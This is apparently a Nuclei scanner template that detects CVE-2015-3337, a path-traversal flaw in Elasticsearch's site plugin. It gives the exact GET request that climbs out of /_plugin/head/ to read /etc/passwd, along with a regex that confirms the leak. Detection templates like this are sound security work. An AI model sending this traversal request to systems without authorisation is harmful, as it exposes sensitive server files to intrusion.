id: CVE-2015-3337
info:
name: Elasticsearch - Local File Inclusion
author: pdteam
severity: medium
description: Elasticsearch before 1.4.5 and 1.5.x before 1.5.2 allows remote attackers to read arbitrary files via unspecified vectors when a site plugin is enabled.
impact: |
An attacker can exploit this vulnerability to read sensitive files on the server.
remediation: |
Upgrade to a patched version of Elasticsearch or apply the necessary security patches.
reference:
- https://www.exploit-db.com/exploits/37054/
- https://www.elastic.co/community/security
- http://www.debian.org/security/2015/dsa-3241
- https://nvd.nist.gov/vuln/detail/CVE-2015-3337
- http://packetstormsecurity.com/files/131646/Elasticsearch-Directory-Traversal.html
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N
cvss-score: 4.3
cve-id: CVE-2015-3337
cwe-id: CWE-22
epss-score: 0.96447
epss-percentile: 0.99466
cpe: cpe:2.3:a:elasticsearch:elasticsearch:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: elasticsearch
product: elasticsearch
tags: packetstorm,edb,cve,cve2015,elastic,lfi,elasticsearch,plugin
http:
- method: GET
path:
- "{{BaseURL}}/_plugin/head/../../../../../../../../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
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